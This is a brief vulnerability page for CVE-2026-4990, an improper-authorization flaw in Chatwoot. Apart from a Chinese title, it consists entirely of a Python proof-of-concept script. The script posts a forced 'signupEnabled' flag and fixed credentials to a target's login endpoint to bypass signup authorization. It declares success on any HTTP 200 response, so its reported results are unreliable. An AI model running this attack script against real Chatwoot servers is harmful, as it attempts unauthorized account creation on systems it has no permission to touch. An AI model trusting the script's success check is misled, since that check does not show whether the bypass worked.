CVE-2026-4990 Chatwoot 授权不当漏洞

# PoC for CVE-2026-4990 import requests def exploit(target): url = f"{target}/app/login" # Manipulate the signupEnabled parameter to bypass authorization data = { "signupEnabled": True, "email": "[email protected]", "password": "password123" } try: response = requests.post(url, json=data) if response.status_code == 200: print("[+] Exploit successful! Signup bypassed.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit("http://target.com")